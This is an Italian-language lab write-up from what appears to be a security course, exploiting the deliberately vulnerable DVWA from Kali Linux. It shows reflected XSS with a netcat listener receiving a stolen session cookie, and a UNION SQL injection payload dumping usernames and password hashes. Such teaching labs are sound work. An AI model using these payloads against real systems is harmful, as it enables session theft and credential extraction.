



Traccia:

Configurate il vostro laboratorio virtuale per raggiungere la DVWA dalla macchina Kali Linux (l'attaccante). Assicuratevi che ci sia comunicazione tra le due macchine con il comando ping.

Raggiungete la DVWA e settate il livello di sicurezza a «LOW».

Scegliete una delle vulnerabilità XSS ed una delle vulnerabilità SQL injection: **lo scopo del laboratorio è sfruttare con successo le vulnerabilità con le tecniche viste nella lezione teorica.**

La soluzione riporta l'approccio utilizzato per le seguenti vulnerabilità:

- XSS reflected
- SQL Injection (**non blind**)

Consegna:

XSS

1. Esempi base di XSS reflected, i (il corsivo di html), alert (di javascript), ecc
2. Cookie (recupero il cookie), webserver ecc.

SQL

1. Controllo di injection
2. Esempi
3. Union Screenshot/spiegazione in un report di PDF

Svolgimento:

Inserimento del solo testo con relativo output

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Hello McBagna

Inserimento del testo con aggiunta elemento di scripting per il corsivo <i> </i>

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Hello *McBagna*

Inserimento dello script per catturare i cookie lasciando una netcat in ascolto su una porta a scelta

```
(kali㉿kali)-[~]
$ nc -l -p 64000
GET /?cookie=security=low;%20PHPSESSID=314f98f45ffa4c5cafea05a27d44db4c HTTP/1.1
Host: 192.168.1.100:64000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.2.199/
Upgrade-Insecure-Requests: 1
```

Tramite SQL Injection con una condizione sempre vera ci facciamo restituire gli username e gli hash delle rispettive password

Vulnerability: SQL Injection

User ID:

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: Gordon
Surname: Brown

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: Hack
Surname: Me

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: Pablo
Surname: Picasso

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: Bob
Surname: Smith

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1 'OR' 1 '=' 1 'UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99